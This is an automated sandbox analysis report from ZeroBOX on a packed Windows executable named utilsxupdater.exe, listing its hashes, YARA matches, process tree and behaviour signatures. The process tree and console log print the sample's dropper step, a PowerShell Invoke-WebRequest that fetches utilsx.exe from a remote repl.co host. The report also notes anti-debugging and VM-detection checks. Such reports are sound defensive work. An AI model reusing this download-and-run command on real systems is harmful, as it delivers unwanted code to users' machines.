Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 4, 2023, 8:56 a.m.	Aug. 4, 2023, 9:16 a.m.

Size	122.0KB
Type	PE32+ executable (console) x86-64, for MS Windows
MD5	`96c30f7179f2d7045aba556d3b8f92af`
SHA256	`4b45a2333b183144267f5492c7dae553b28ad86d03a96891efb0fb04359d67e4`
CRC32	`23195EF8`
ssdeep	`3072:w/25jvDSgsqsb5Uh28vAbTV1WW69B9VjMdxPedN9ug0z9TBfFSEj:Ltzsb5Uh28+V1WW69B9VjMdxPedN9ugC`
Yara	UPX_Zero - UPX packed file IsPE64 - (no description) Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature

utilsxupdater.exe "C:\Users\test22\AppData\Local\Temp\utilsxupdater.exe"
1932
- cmd.exe "C:\Windows\system32\cmd" /c "C:\Users\test22\AppData\Local\Temp\BF92.tmp\BFA2.tmp\BFA3.bat C:\Users\test22\AppData\Local\Temp\utilsxupdater.exe"
  2100
  - powershell.exe powershell Invoke-Webrequest -URI "https://vfileserver.luiswilfredowil.repl.co/utilsx.exe" -OutFile "C:/Users/test22/Desktop/utilsx/utilsx.exe"
    2168

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2023, 8:57 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 4, 2023, 8:57 a.m.			0	0

Command line console output was observed (13 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: del console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: utilsx.exe console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: Could Not Find C:\Users\test22\AppData\Local\Temp\utilsx.exe console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: powershell console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:56 a.m.	buffer: Invoke-Webrequest -URI "https://vfileserver.luiswilfredowil.repl.co/utilsx.exe" -OutFile "C:/Users/test22/Desktop/utilsx/utilsx.exe" console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: start console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: utilsx.exe console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: The system cannot find the file utilsx.exe. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 4, 2023, 8:57 a.m.	buffer: exit console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b4d90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b28b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b28b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3170 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3170 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3170 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b3090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b2f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b34f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b34f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b36b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b36b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b36b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000396d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000396d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000396d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000396d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d6ca0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d6ca0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d6fb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d6fb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2023, 8:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5b35d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 4, 2023, 8:56 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.code

Allocates read-write-execute memory (usually to unpack itself) (50 out of 175 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000026e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3870000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3870000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3870000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3870000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3870000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef386e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002822000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002824000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00053000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00054000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00102000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00055000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00190000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00056000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00103000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0004a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00191000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 4, 2023, 8:57 a.m.	process_identifier: 2168 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002827000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\BF92.tmp\BFA2.tmp\BFA3.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
